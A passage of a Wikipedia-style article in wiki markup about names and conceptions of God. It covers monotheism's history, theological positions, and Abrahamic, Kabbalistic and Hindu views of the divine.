*[[Yahweh]] Hebrew: 'YHVH' (יהוה), and [[Jehovah]] are some of the names used for God in various translations of the Bible (all translating the same four letters - [[Tetragrammaton|YHVH]]). El, and the plural/majestic form ''Elohim'', is another term used frequently, though ''El'' can also simply mean ''god'' in reference to deities of other religions. Others include El Shaddai, [[Adonai]], Amanuel, and Amen. When Moses asked &quot;What is your name?&quot; he was given the answer ''Ehyeh Asher Ehyeh'' as a parallel to the tetragrammaton YHWH.  See [[The name of God in Judaism]] for Jewish names of God.  Most Orthodox Jews, and many Jews of other denominations, believe it wrong to write the word &quot;God&quot; on any substance which can be destroyed. Therefore, they will write &quot;G-d&quot; as what they consider a more respectful symbolic representation. Others consider this unnecessary because English is not the &quot;[[Hebrew language|Holy Language]]&quot; (ie, Hebrew), but still will not speak the Hebrew representation written in the [[Torah]], &quot;yih-yah&quot;, aloud, and will instead use other names such as Adonai (my lord).
*The [[Trinity|Holy Trinity]] (meaning the Father, the Son ([[Jesus]] [[Christ]]), and the [[Holy Spirit]]/&quot;[[Holy Ghost]]&quot;) denotes God in almost all mainstream Christianity.  Arab Christians will often also use Allah to refer to God.
*The [[Neomelnia]] name for &quot;God&quot; is ''Avs''.
*God is called ''Igzi'abihier'' (lit. &quot;Lord of the Universe&quot;) in the [[Tewahedo Church|Ethiopian Orthodox]] Church.
*[[Jah]] is the name of God in the [[Rastafari movement]].
*Some churches ([[United Church of Canada]], [[Religious Science]]) are using &quot;the One&quot; alongside &quot;God&quot; as a more gender-neutral way of referring to God (See also [[Oneness]]).
*The [[Maasai]] name for &quot;God&quot; is [[Ngai]], which occurs in the [[volcano]] name [[Ol Doinyo Lengai]] (&quot;the mountain of God&quot;).
* The [[Mi'kmaq]] name for &quot;God&quot; is ''Niskam''.
* [[Ishvara]] is the term used for God among the Hindus. In [[Sanskrit]], it means the Supreme Lord. Most [[Hindu]]s worship the personal form of God or [[Saguna Brahman]], as [[Vishnu]], [[Shiva]], or directly as the Supreme Cosmic Spirit [[Brahman]] through the [[Gayatri mantra]]. A common prayer for Hindus is the [[Vishnu sahasranama]], which is a hymn describing the one thousand names of God. Ishvara must not be confused with the numerous deities of the Hindus. In modern Hindi, Ishvara is also called [[Bhagavan]].
* [[Buddhism]] is non-theistic: Instead of extolling an anthropomorphic creator God, [[Gautama Buddha]] employed [[negative theology]] to avoid speculation and keep the undefined as ineffable. Buddha believed the more important issue was to bring beings out of suffering to liberation. Enlightened ones are called [[Arhat]]s or Buddha (e.g, the ''Buddha'' [[Sakyamuni]]), and are venerated. A [[bodhisattva]] is an enlightened being that has chosen to forego entering into [[nirvana]] to help others to become enlightened, though there is no reason for there to only ever be one, and no reason that any ordinary human may not become a bodhisattva. Buddhism also teaches about the [[Deva (Hinduism)|deva]]s or heavenly beings who temporarily dwell in states of great happiness.
* [[Jain]]s invoke the five paramethis: [[Siddha]], [[Arahant]], [[Acharya]], [[Upadhyaya]], [[Sadhu]]. The arhantas include the 24 [[Tirthankaras]] from [[Lord Rishabha]] to [[Mahavira]]. But Jain philosophy as such does not recognize any Supreme Omnipotent creator God.
* [[Sikhs]] worship God with the name Akal (the Eternal) or Omkar (See [[Aum]]). Help of the [[guru]]s is essential to reach God.
* In [[Surat Shabd Yoga|Surat Shabda Yoga]], names used for God include ''Anami Purush'' (nameless power) and ''Radha Swami'' (lord of the soul, symbolized as [[Radha]]).
* [[Ayyavazhi]] asserts [[Ekam]], (The Ultimate Oneness) as supreme one and [[Ayya Vaikundar]] the Incarnation of Ekam. There are also several separate lesser gods who were all later unified into [[Vaikundar]].
*The [[Bahá'í Faith]] refers to God using the local word for God in whatever language is being spoken.  In the Bahá'í Writings in Arabic, Allah is used.  Bahá'ís share some naming traditions with Islam, but see &quot;Bahá&quot; (Glory or Splendour) as The [[Greatest Name]] of God.  God's names are seen as his attributes, and God is often, in prayers, referred to by these titles and attributes.
* [[Zoroastrianism|Zoroastrians]] worship [[Ahura Mazda]].

==History of monotheism==
''See also [[monotheism]], [[Abrahamic religion]].''

The religions that are monotheistic today are often thought of as having been of relatively recent historical origin&amp;mdash;although  efforts at comparison are usually beset by claims of most religions to being very ancient or eternal. Eastern religions, especially in [[China]] and [[India]], that have concepts of [[panentheism]], are notably difficult to classify along [[Western world|Western]] notions of monotheism vs. [[polytheism]].

In the [[Ancient Orient]], many cities had their own local god, though this henotheistic worship of a single god did not imply denial of the existence of other gods. The [[Hebrews|Hebrew]] [[Ark of the Covenant]] is supposed (by some scholars) to have adapted this practice to a [[nomad]]ic lifestyle, paving their way for a singular God.  Yet, many scholars now believe that it may have been the Zoroasterian religion of the [[Persian Empire]] that was the first monotheistic religion, and the Jews were influenced by such notions (this controversy is still in debate)[http://www.jewishencyclopedia.com/view.jsp?artid=147&amp;letter=Z&amp;search=zoroaster]. 

The iconoclastic cult of the Egyptian solar god [[Aten]] was promoted by the [[pharaoh]] [[Akhenaten]] (Amenophis IV), who ruled between 1358 and 1340 BC. The Aten cult is often cited as the earliest known example of monotheism, and is sometimes claimed to have been a formative influence on early Judaism, due to the presence of Hebrew slaves in Egypt. But even though  [[Akhenaten]]'s [[Great Hymn to the Aten|hymn to Aten]] offers strong evidence that Akhenaten considered Aten to be the sole, omnipotent creator, Akhenaten's program to enforce this monotheistic world-view ended with his death; the worship of other gods beside Aten never ceased outside his court, and the older polytheistic cults soon regained precedence.

Other early examples of monotheism include two late [[rigveda|rigvedic]] hymns (10.129,130) to a [[Panentheistic]] creator god, [[Shri Rudram]], a [[Vedic religion|Vedic]] hymn to [[Rudra]], an earlier aspect of Shiva often referred to by the ancient Brahmans as Stiva, a masculine fertility god, which expressed [[monistic theism]], and is still chanted today; the [[Zoroastrian]] [[Ahuramazda]] and Chinese [[Shang Ti]]. The worship of polytheistic gods, on the other hand, is seen by many to predate monotheism, reaching back as far as the [[Paleolithic]]. Today, monotheistic religions are dominant, though other systems of belief still exist.

==Theology==
Theologians attempt to explicate (and in some cases systematize) beliefs; some express their own experience of the divine. Theologians ask questions such as, 'What is the nature of God?' 'What does it mean for God to be singular?' 'If people believe in God as a duality or trinity, what do these terms signify?' 'Is God transcendent, immanent, or some mix of the two?' 'What is the relationship between God and the universe, and God and humankind?'

* [[Theism]] holds that God is both transcendent and immanent; thus, God is simultaneously infinite and in some way present in the affairs of the world. Catholic theology holds that God is [[divine simplicity|infinitely simple]] and is not involuntarily subject to time.  Most theists hold that God is omnipotent, omniscient, and benevolent, although this belief raises questions about God's responsibility for evil and suffering in the world.  Some theists ascribe to God a self-conscious or purposeful limiting of omnipotence, omniscience, or benevolence.  [[Open Theism]], by contrast, asserts that, due to the nature of time, God's omniscience does not mean he can predict the future.   &quot;Theism&quot; is sometimes used to refer in general to any belief in a god or gods, i.e., monotheism or polytheism.
* [[Deism]] holds that God is wholly transcendent: God exists, but does not intervene in the world beyond what was necessary for God to create it. In this view, God is not [[anthropomorphic]], and does not literally answer prayers or cause miracles to occur. Common in Deism is a belief that God has no interest in humanity and may not even be aware of humanity.
* Monotheism holds that there is only one God, and/or that the one true God is worshipped in different religions under different names. It is important to note, however, that monotheists of one religion can, and often do, consider the monotheistic god of a different religion to be a false god. For instance, many Christian fundamentalists consider the God of Islam (Allah) to be a false god or demon. However, theologians and linguists argue that &quot;Allah&quot; is merely the Arabic word for &quot;God,&quot; and not the literal name of a specifically Muslim God (this is more clearly shown by the fact that Arabic-speaking Christians and Jews refer to God as &quot;Allah&quot; with no problem whatsoever). To Muslims, the Bible is a holy scripture and Jesus is a Holy Prophet, so Islam is considered a continuation of Christianity. Many Jews consider the [[messiah]] of Christianity (Jesus) to be a false god and some monotheists (notably fundamentalist Christians) hold that there is one [[triune]] God, and that all gods of other religions are actually demons in disguise (as in [http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_2_Corinthians#Chapter_11 2nd Corinthians 11] verse 14). Eastern religious believers and [[Liberal Christian]]s are more likely to assume those of other faiths worship the same God as they. Muslims believe that Jesus is not the son of God, because relating God to any partners or spouses or offspring is considered blasphemy and apostasy. They believe that Jesus is not the Messiah but is a Holy Prophet.
* Pantheism holds that God is the universe and the universe is God. Panentheism holds that God contains, but is not identical to, the Universe. The distinctions between the two are subtle, and some consider them unhelpful. It is also the view of the [[Liberal Catholic Church]], [[Theosophy]], Hinduism, Ayyavazhi some divisions of Buddhism, and [[Taoism]], along with many varying denominations and individuals within denominations. [[Kabbalah]], Jewish mysticism, paints a pantheistic/panentheistic view of God - which has wide acceptance in [[Hasidic Judaism]], particularly from their founder [[Israel ben Eliezer|The Baal Shem Tov]] - but only as an addition to the Jewish view of a personal god, not in the original pantheistic sense that denies or limits persona to God.

* [[Dystheism]] is a form of theism which holds that God is malevolent as a consequence of the [[problem of evil]]. Dystheistic speculation is common in theology, but there is no known church of practicing dystheists. See also [[Satanism]].

Most believers allow for the existence of other, less powerful spiritual beings, and give them names such as angels, saints, [[Djinn | Djinni]], demons, and [[deva]]s.

* [http://www.newadvent.org/cathen/06614a.htm Relation of God to the Universe] - Catholic Encyclopedia article

==Conceptions of God==
{{cleanup-date|December 2005}}
===Abrahamic conceptions===
[[Image:God2-Sistine Chapel.png|thumb|200px|[[16th century]] Christian view of [[Genesis]]: God creates [[Adam and Eve|Adam]] (Michelangelo, Sistine Chapel)]]

Judaism, Christianity and Islam see God as a being who created the world and who rules over the universe. God is usually held to have the properties of holiness (separate from sin and incorruptible), justness (fair, right, and true in all His judgments),  [[sovereignty]] (unthwartable in His will), omnipotence (all-powerful), omniscience (all-knowing), omni benevolence (all-loving), omnipresence (present everywhere at the same time), and immortality (eternal and everlasting). He is also believed to be transcendent, meaning that He is outside space and outside time, and therefore eternal and unable to be changed by earthly forces or anything else within His creation.

Jews, Christians and Muslims often conceive of God as a [[personal God]], with a will and personality. However, many [[rationalist]] philosophers felt that one should not view God as personal, and that such personal descriptions of God are only meant as metaphors, as it was widely viewed that God's transcendence meant that He could not act in the lives of ordinary people.

In [[Eastern Christianity]], it remains essential that God be personal; hence it speaks of the three ''persons'' of the [[Trinity]]. It also emphasizes that God has a will, and that God the Son has two wills, divine and human, though these are never in conflict. However, this point is disputed by Oriental Orthodox Christians, who hold that God the Son has only one will of unified divinity and humanity (see [[Miaphysitism]]). The personhood of God and of all human people is essential to the concept of [[theosis]] or deification.

==== Biblical definition of God====
God according to the Bible is characterized not just as Creator, but also as the &quot;Heavenly Father&quot;.

The [[Torah]] (which would later be incorporated into the Christian [[Old Testament]]) characterizes God by these attributes: &quot;The LORD, the LORD God, merciful and gracious, slow to anger, and abounding in steadfast love and faithfulness, keeping steadfast love for thousands, forgiving iniquity and transgression and sin, but who will by no means clear the guilty, visiting the iniquity of the fathers upon the children and the children's children, to the third and the fourth generation.&quot; ([[Exodus]] 34:6-7)

The Torah contains no systematic theology: No attempt is made to give a [[Philosophy|philosophical]] or rigorous definition of God, nor of how God acts in the world.  It does not explicitly describe God's nature, exemplified by God's assertion in Exodus that &quot;you cannot see my face; for man shall not see me and live&quot;.  Nowhere in the Hebrew Bible are the words omnipotent, omniscient, or omnibenevolent used to define God in a systematic sense.

Although Scripture does not describe God systematically, it does provide a poetic depiction of God and His relationship with people.  According to the Biblical historian [[Yehezkal Kaufmann]], the essential innovation of Biblical theology was to posit a God that cares about people, and that cares about whether people care about Him.  Some people believe that the Bible should be viewed as humanity's view of God, but theologian [[Abraham Joshua Heschel]] described the Biblical God as &quot;anthropopathic&quot;, which means that one should read the Bible as God's view of humanity, and not as humanity's view of God.

Similarly, the New Testament contains little systematic theology: no philosophical or rigorous definition of God is given, nor of how God acts in the world; however John's gospel states: &quot;''God is light''&quot; ([[Gospel of John|John]] 1:5), before he states: &quot;''God is love''&quot; (John 4:8) and: &quot;''God is a Spirit''&quot; (John 4:24). The author of the [[Epistle to the Hebrews]] presents a more grim side of the deity when he states: &quot;''For our God is a consuming fire.''&quot; (Hebrews 12:29).

The New Testament provides an implicit theology as it teaches that God interacted directly with people, in the person of Jesus, and that he subsequently sent the Holy Spirit. In this view, God becomes someone that can be seen and touched, and may speak and act in a manner easily perceived by humans, while also remaining transcendent and invisible. This appears to be a radical departure from the concepts of God found in Hebrew Bible. The New Testament's statements regarding the nature of God were eventually developed into the doctrine of the [[Trinity]].

==== Kabbalistic definition of God ====
Mainstream Orthodox Judaism teaches that God is neither matter nor spirit. They teach that God is the creator of both, but is himself neither. But if God is so different from his creation, how can there be any interaction between the Creator and the created? This question prompted early Kabbalists (Jewish [[mysticism|mystics]]) to envision two aspects of God, (a) God himself, who in the end is unknowable, and (b) the revealed aspect of God who created the universe, preserves the universe, and interacts with mankind in a personal way. Kabbalists believe that these two aspects are not contradictory but complement one another, similar to a creation inside a persons mind.

This view has been developed further in [[Hasidism|Hasidic]] and anti-nomian circles, however. Kabbalah teaches that in order to create the universe, God &quot;withdrew,&quot; and created the universe within the space from which &quot;He&quot; contracted. It is taught in the [[Zohar]] that God, at the beginning of creation, shattered ten ספירות (&quot;sephiroth&quot;) or כלים (&quot;kaylim&quot; or &quot;vessels&quot;) scattering their fragments throughout the universe. (Physicist-theologian [[Gerald Schroeder]] makes a correlation between this view and [[Big bang|Big Bang theory]] in ''Genesis &amp; The Big Bang''.)  The [[Sephirah (Kabbalah)|sephiroth]] &amp;#0151; represented by the so-called עץ חיים (&quot;Etz Hayim&quot; or &quot;[[Tree of life (Kabbalah)|Tree of Life]]&quot;) &amp;#0151; are comprised of different vessels embodying various emanations of God's being.

With this in mind, the Kabbalist [[Isaac Luria]], explained that all creation contained ניצוץ (&quot;nitzutz&quot; or &quot;holy sparks&quot;) &amp;#0151; the remnants and shards of the sephiroth/kaylim which God had shattered &amp;#0151; and offered a theological purpose known as תיקון עולם (&quot;[[Tikkun Olam]]&quot; or &quot;rectifying the world&quot;) which states that humanity's duty is to recognize the holy sparks inherent in all creation and to elevate them by performing מצוות (&quot;[[mitzvah|mitzvot]]&quot;), otherwise regarded as the fulfilment of Biblical obligations. This view gave rise to the concept of [[panentheism]] in Judaism:  The notion that God is inherent in all things, and is corroborated by the Jewish principle בצלם אלוהים (&quot;b'tzelem Elohim&quot; or &quot;in the image of God&quot;), inferring that all humanity is created with God inherent. The concept derives from Genesis 9:6 (serving as a Biblical proof-text for the position), &quot;For in the image of God He made man.&quot; Thus, suggested Luria, by doing mitzvoth directed towards our fellow human being, we recognize the nitzutz within them, and thus sanctify and elevate their inherent Godliness.

This notion is exemplified rather well by a Jewish nursery school song &lt;blockquote&gt;[[Hashem]] is here, Hashem is there, Hashem is truly everywhere.  Up, up, down, down, right, left, and all around. Here, there, and everywhere, Hashem is truly there.&lt;/blockquote&gt;Over time, this view evolved into the belief that all of creation and all of existence was in fact God itself, and that we as humanity are unaware of our own inherent Godliness and are grappling to come to terms with it. The standing view in neo-Hasidism, currently, is that there is nothing in existence other than God.  I.e., all being is God.  As it is stated in the ancient Kabbalistic incantation, אין עוד מילבדו (&quot;Ain od milvado&quot;) &amp;#0151; &quot;There is nothing but God.&quot; Thus, it has become understood that God used God's self to form the universe.  Rather than a contraction and the creation of something &quot;other&quot; in the void which God created, it is as though God punched a doughnut-hole in God's self and used the remaining &quot;[[Munchkin (disambiguation)|munchkin]]&quot; to form all of creation.

This paradigm shift is well documented by [[Zalman Schachter-Shalomi]], a [[Lubavitch]] Hasidic rabbi and founder of [[Jewish Renewal]] and its neo-Hasidic progeny, in his book ''Wrapped In A Holy Flame'':

&lt;blockquote&gt;I'd like to say we are in the shift to the place where everything is God, pantheism. The understanding that has come from mysticism and from people on the cusp of periods moving from past to present, people talking about primary experience, is that the body and the soul cannot be separated. It shouldn't be that they should be fighting one another, that you have too get rid of one in order to get the other. We want Wholeness, a holistic understanding, now. I believe that people are moving from theism to pantheism. There are some who don't like the word ''pantheism'', the idea that God is everything. They prefer the word ''panentheism'', which means that God is ''in'' everything.  I, however, don't think that the distinction is real. What was the objection that people had to pantheism, God is everything? &quot;Are you going to tell me that the excrement of a dog is also God?&quot; And the answer to this would be &amp;#0151;&quot;Yes.&quot; What is wrong with that? It is only from the human perspective that we see a difference between that and ''challah''. On the sub molecular level, on the atomic level, they all look the same. And if you look from a galactic perspective, what difference is there between one and the other? So if &quot;God is everything,&quot; why are you and I here? Because we are the appearance of God in this particular form. And God likes to appear in countless forms and experience countless lives.

If you would have mentioned this point of view when theism was dominant, you might have been killed. The theists would complain, &quot;What you are saying is that there are no differences anymore? Does that mean that everything is right, everything is kosher? Where are the differences?&quot; And those are good questions. We are not so far advanced yet that we can explain all these things, but deep down, the deepest level of the pattern is that God is everything. So it's not that God ''created'' the world but that God ''became'' the world.&lt;/blockquote&gt;
Another progenitor of neo-Hasidism, [[Rabbi Arthur Green]], further describes the evolution of pantheistic thought in the Hasidic world, as well, in his book ''Seek My Face: A Jewish Mystical Theology''

====Qur'anic definitions of God====
''Main article'': [[Islamic concept of God]]

''Allah'' ([[Arabic language|Arabic]] ''allāhu'' الله) is traditionally used by Muslims as the Arabic word for &quot;God&quot; (not &quot;God's personal name&quot;, but the equivalent of the Hebrew word &quot;El&quot; as opposed to &quot;YHWH&quot;). The word ''Allah'' is not specific to Islam; [[Arab Christians]] and Arabic-speaking [[Sephardi Jews|Sephardi]] and [[Mizrahi Jew]]s also use it to refer to the monotheist deity. Arabic translations of the Bible also employ it, as do the [[Catholics]] of [[Malta]] who pronounce it as &quot;Alla&quot; in [[Maltese language|Maltese]], a language derived from and most closely related to Arabic, as well as Christians in [[Indonesia]], who pronounce it &quot;Allah Bapa&quot; (Allah the Father).

Most of the [[99 names of God]] found in the Qur'an are not actually names, but attributes. One, however, Al Haq, meaning The Truth, seems to equate to absolute truth as that which cannot be negated. Al Haq is more than a reflection of faith in the existence of The God, and links the concept of God to all creation forever. Thus Allah transcends the prophetic origins of Islam and is thus universal in all time and applies to all existence—past, present, and future.

====Negative theology====
''Main article: [[Negative theology]].''

Some Jewish, Christian and Muslim [[Medieval]] philosophers, including [[Moses Maimonides]] and [[Pseudo-Dionysius]], as well as many sages of other religions, developed what is termed as [[Apophatic Theology]] or the [[Via Negativa]], the idea that one cannot posit attributes to God and can only be discussed by what God is not. For example, we cannot say that God &quot;exists&quot; in the usual sense of the term, because that term is human defined and God's qualities such as existence may not be accurately characterized by it. What we can safely say is that ''God is not non-existent''. Likewise God's &quot;wisdom&quot; is of a fundamentally different kind from limited human perception. So we cannot use the word &quot;wise&quot; to describe God, because this implies he is wise in the way we usually describe humans being wise. However we can safely say that ''God is not ignorant''. We should not say that God is One, because we may not truly understand his nature, but we can state that there is no multiplicity in God's being.

The reason that this theology was developed was because it was felt that ascribing positive characteristics to God would imply that God could be accurately described with terms that were used to describe human qualities and perceptions. As humans cannot truly comprehend what kind of wisdom an eternal transcendent being might have, or what infinity might be like, we cannot in fact know or characterize His true nature. It is beyond human ability and would only mislead people.

The same path is known in [[Hindu]] tradition as [[Neti neti]], literally &quot;not this nor that&quot;.

The proponents of this theory often experienced [[apophatic meditation|meditation]] which they viewed as one of the only effective ways of having a personal relationship with God. It involved trying to reach beyond the words commonly used to describe Him and His more [[ineffability|ineffable]] characteristics, and to comprehend in a [[mysticism|mystical]] manner the truths about Him which could not be achieved through religious language. Thus many sages and saints of both monotheistic and other traditions experienced mystical trances, or [[rapture]]s and stated they were unable to describe God or their [[vision]]s fully.

==== God as Unity or Trinity ====
Muslims, Jews, Jehovah's Witnesses and a small fraction of other nominal Christians are ''unitarian monotheists''. The vast majority of Christians have been and still are ''Trinitarian monotheists''.
* Unitarian monotheists hold that there is only one &quot;person&quot; (so to speak), or one basic substance, in God. Some adherents of this position consider Trinitarianism to be a form of polytheism.
* Trinitarian monotheists believe in one God that exists as three interdependent persons who share the same substance/essence; the Christian version of this is called the Trinity. The Hindu version [[Trimurti]], differs from Christianity in holding that God has three aspects (though shown as anthromorphs) rather than being three distinct Gods. Trinitarians hold that the three Gods have the same purpose, holiness, and sovereignty, and therefore each can be worshipped as God, without violating the idea that there is only truly one God to which worship belongs. The [[Smarta]] denomination of Hinduism also hold that belief and believe that worship of any aspect of God is equivalent. Although not a perfect analogy, the other denominations of Hinduism, [[Shaivism]] and [[Vaishnavism]] would be considered unitarian monotheistic faiths.
*Ayyavazhi says [[Ayya Vaikundar]] as the unity of [[Ekam]], [[Narayana]] and human ''(See:[[Ayyavazhi Trinity]])''
* [[Mormon]]s believe that there are three separate divine personages.  One of these personages is a spirit without a body referred to as the &quot;Holy Ghost&quot;.  The other two personages are beings with ''perfected'' or ''glorified'' (often called ''celestial'') bodies referred to as [[Heavenly Father]] (or less commonly &quot;Elohim&quot;) and his son, Jesus Christ. They believe that through the mercy of Jesus Christ and by following their religion's teachings, humans are eligible to become gods (sometimes phrased as &quot;become like Heavenly Father&quot;) at some point after death and [[resurrection]]; this is also called [[Exaltation]].
* [[Rastafari movement|Rastafarians]] believe that [[Haile Selassie]] is both God the Father and God the Son, made manifest in human flesh as the reincarnation of Jesus, while the Holy Spirit is seen to dwell within all believers (of Rastafari), and within all people (believed by some).
* Hasidic Jews hold that there are ten [[Sephirah|Sefirot]] (emanations) of God.  Each of these are more distinct than a characteristic, but less distinct than a separate personage.
* [[Monism]] is the metaphysical position that all is of one essential essence, substance or energy, that being a pantheist, or panentheist, immanent God. Monism can be inclusive of other interpretations of God.
* Dualism is the idea of two, nearly equal divine entities, one being the good God, and the other being an evil god, or [[Satan]]. All beings are under the influence of one side, or the other, if they know it or not. [[Zoroastrianism]] is an example of dualism.

==== Binitarianism ====
'''[[Binitarianism]]''': A view within Christianity that there were originally two beings in the Godhead, the Father and the Word that became the Son (Jesus the Christ). Binitarians normally believe that God is a family, currently consisting of the Father and the Son. Some binitarians believe that others will ultimately be born into that divine family. Hence, binitarians are [[nontrinitarian]], but they are also not unitarian. Binitarians, like most [[unitarians]] and [[trinitarians]], claim their views were held by the original New Testament Church. Unlike most unitarians and [[trinitarian]]s who tend to identify themselves by those terms, binitarians normally do not refer to their belief in the duality of the Godhead, with the Son subordinate to the Father, as binitarianism&amp;amp;mdash;they simply teach the Godhead in a manner that has been termed as binitarianism.

&quot;The word “binitarian” is typically used by scholars and theologians as a contrast to a trinitarian theology: a theology of “two” in God rather than a theology of “three”... it is accurate to offer the judgment that most commonly when someone speaks of a Christian “binitarian” theology the “two” in God are the Father and the Son...A substantial amount of recent scholarship has been devoted to exploring the implications of the fact that Jesus was ''worshipped'' by those first Jewish Christians, since in Judaism &quot;worship&quot; was limited to the worship of God&quot; (Barnes M. Early Christian Binitarianism: the Father and the Holy Spirit. Early Christian Binitarianism&amp;amp;mdash;as read at NAPS 2001). Much of this recent scholarship has been the result of the translations of the ''[[Nag Hammadi]]'' and other ancient manuscripts which were not available when older scholarly texts (such as W. Bousset's ''Kyrios Christos'', 1913) were written.

Although some critics prefer to use the term ditheist or dualist instead of binitarian, those terms suggests that God is not one, yet binitarians believe that God is one family.

===Conceptions of God in Hinduism===
[[Image:Aum.png|right|160px|thumb|'''[[Aum]]'''. Found first in the Vedic scriptures of Hinduism, Aum has been seen as the first manifestation of the unmanifest [[Brahman]] (the single Divine Ground of Hinduism) that resulted in the phenomenal universe]]
[[Image:UniversalForm.jpg|160px|right|thumb|[[Krishna]] revealing the eternal super-consciousness to [[Arjuna]]]]

* In the Rig-Veda, a hymn which came to be known as the &quot;The Song of the Creation&quot; by Max Muller, a noted Indologist probably best describes the Hindu view of God.

## Then there was not non-existent nor existent: there was no realm of air, no sky beyond it. What covered in, and where? and what gave shelter? was water there, unfathomed depth of water?
## Death was not then, nor was there aught immortal: no sign was there, the day's and night's divider. That one thing, breathless, breathed by its own nature: apart from it was nothing whatsoever.
## Darkness there was: at first concealed in darkness, this all was undiscriminated chaos. All existed then was void and formless; by the great power of warmth was born that unit.
## Thereafter rose desire in the beginning, Desire the primal seed and germ of spirit. Sages who searched with their heart's thought discovered the existent's kinship in the non-existent.
## Transversely was their severing line extended: what was above it then, and what below it? There were begetters, there were mighty forces, free action here and energy of yonder.
## '''Who verily knows and who can here declare it, whence it was born and whence comes this creation? The gods are later than this world's production. Who knows, then, whence it first came into being? '''
## '''He, the first origin of this creation, whether he formed it all or did not form it, Whose eye controls this world in highest heaven, he verily knows it, or perhaps he knows it not. '''
:: Translation from Hindu Scriptures, Everyman's Library (Qtd in Discovery of India, Pandit Nehru)

* The [[Sanskrit]] and [[Hindi]] word for God, that is used most commonly, is Ishvara, lit., the Supreme Lord, pronounced as &quot;īshvərə&quot;. Hindus believe that '''Ishvara''' is only One. This must not be confused with the numerous deities  of the Hindus known as [[deva (Hinduism) | devas]], which can number up to 330 million. A deva may be translated into English as a god, a deity, a demi-god, an [[angel]] or any celestial being or thing of high excellence, and hence is venerable.

* The [[Vedanta|Vedantic]] school of Hindu philosophy also has a notion of a Supreme Cosmic Spirit called [[Brahman]], pronounced as &quot;brəh mən&quot;. '''Brahman''' is (at best) described as that infinite, omnipresent, omnipotent, incorporeal, transcedent and immanent reality that is the divine ground of all existence in this universe. Brahman is actually undescribable. It is at best, &quot;Sat&quot; + &quot;Chit&quot; + &quot;Ananda&quot;, ie, Infinite Truth, Infinite Consciousness and Infinite Bliss. Brahman may be called as God, or better, as Godhead.

* A major branch of Hinduism, [[Advaita Vedanta]], served as the fertile grounds from which one of the first monistic philosophies of God was developed. According to Advaitins, '''Brahman''' is the only Ultimate Reality in this world, and everything else is an illusion. They believe that [[Maya (Hinduism)|Māyā]] is that complex illusionary power of Brahman which causes the Brahman to be seen as the distinct material world. When man tries to know the attributeless Brahman with his mind, under the influence of Maya, Brahman becomes God ('''Ishvara''' as described as above). God is Brahman with Maya. He is [[Saguna Brahman]] or Brahman with positive attributes. He is one and unique. He is omniscient, omnipresent, incorporeal, independent, creator of the world, its ruler and also destroyer. He is eternal and unchangeable. He rules the world with his Maya. However, while God is the Lord of Maya and she (ie, Maya) is always under His control, living beings (jīva, in the sense of humans) are the servants of Maya (in the form of ignorance). This ignorance is the cause of the unhappiness and sin in the mortal world. While God is Infinite Bliss, humans are miserable. God (Ishvara) always knows the unity of the Brahman substance, and the Mayic nature of the world. There is no place of a Satan or devil in Hinduism, unlike Abrahamic religions. Advaitins explain the misery because of '''ignorance'''. God or Ishvara can also be visualized and worshipped in anthromorphic form like Vishnu, Krishna or Shiva. The Advaita Vedanta philosophy continues with the view that once one becomes aware of the ''unity of being'' of Godhead, he will then be able to see beyond the illusions of division and separation from Godhead, and recognize his or her own inherent unity with the Brahman. See [[Advaita Vedanta]].

* In the two largest branches of Hinduism, Shaivism and Vaishnavism, it is believed that '''Ishvara''' and Brahman are identical, and God is in turn anthromorphically identified with Shiva or Vishnu. God, whether in the form of Shiva or Vishnu has six attributes. However, the actual number of auspicious qualities of God, are '''countless''', with the following six qualities being the ''most important''.

* The number six is invariably given, but the individual attributes listed vary. One set of attributes (and their common interpretations) are:
**''Jñāna'' (Omniscience), defined as the power to know about all beings simultaneously;
**''Aishvarya'' ([[Sovereignty]], derived from the word Ishvara), which consists in unchallenged rule over all;
**''Shakti'' (Energy), or power, which is the capacity to make the impossible possible;
**''Bala'' (Strength), which is the capacity to support everything by will and without any fatigue;
**''Vīrya'' (Vigor), or valour which indicates the power to retain immateriality as the supreme being in spite of being the material cause of mutable creations; and
**''Tejas'' (Splendor), which expresses his self-sufficiency and the capacity to overpower everything by his spiritual effulgence.; (''cited from ''Bhakti Schools of Vedanta'', by Swami Tapasyānanda.'')

* A second set of six characteristics are
**''Jñāna'' (Omniscience),
**''Vairagya'' ([[Detachment]]),
**''Yashas'' (Fame),
**''Aishvarya'' (Sovereignty, derived from the word Ishvara),
**''Srī'' (Glory) and
**''Dharma'' ([[Righteousness]]).

*Other important qualities attributed to God are ''Gambhīrya'' (grandeur), ''Audārya'' (generosity), and ''Kārunya'' (compassion).

* Chanted prayers, or [[mantra]]s, are central to Hindu worship. Many mantras are from the sacred [[Veda]]s, and in Sanskrit. Among the most chanted mantras in Hinduism are the [[Vishnu sahasranama]] (a prayer to [[Vishnu]] that dates from the time of the [[Mahabharata]] and describes him as the ''Universal Brahman''), [[Shri Rudram]] (a Vedic hymn to Rudra, an earlier aspect of Shiva that also describes Him as Brahman) and the [[Gayatri]] mantra, (another Vedic hymn that initially was meant as a prayer to the Sun, an aspect of Brahman but has other interpretations. It is now interpreted as a prayer to the impersonal absolute Brahman).

* The followers of [[Shaktism]] like to conceive the divine power of the Ishvara as a female goddess, the divine mother called [[Devi]] or [[Durga]]. Another famous hymn, [[Lalitha Sahasranama]], describes the 1000 names of [[Devi]], worshipped as God the Divine Mother.

* It is important to add that in Hinduism (''Sanatana Dharama'') God is considered the Supreme Being, and many views of God range from panentheism to dualism to [[monism]] and monotheism.  His appearance, in its entirety, cannot be comprehended by the common man. His appearance with form is only a manifestation of certain characteristics. The various forms of God or deities which apparently give [[Smarta]] Hinduism a character of polytheism, are regarded as mundane manifestations of One Brahman or Ishvara, only to facilitate his devotional worship.

* Ayyavazhi prefers almost a similar theory to Advaita Vedanta. However, [[Kashmir Shaivism]], one notable [[Saivite]] branch disagrees and focuses on panentheism. Furthermore, it rejects the [[Maya mythology | Mayan]] illusion theory by stating that if God is real, then His creation must be real and not illusory.

In Hinduism there are two principle methods of worship:
#To worship God through meditation on an icon ([[murti]]).
#To worship God without icon worship.(eg. non-anthromorphic symbols such as [[linga]], [[saligrama]], Ayyavazhi, or through meditation)

In the early [[Upanishads]] the conception of the Divine Teacher guru on earth. Indeed, there is an understanding in some Hindu sects that if the devotee were presented with the guru and God, first he should pay respects to the guru since the guru had been instrumental in leading him to God. Hence many gurus have the epithet of [[Bhagwan]], a term often confused with God.
::'''[[Hari Bhakti Vilasa]]''' mantra ( 4.344)
::Prathamam tu gurum pujya tatas caiva mamarcanam
::Kuran siddhim avapnoti hy anyatha nisphalam bhavet
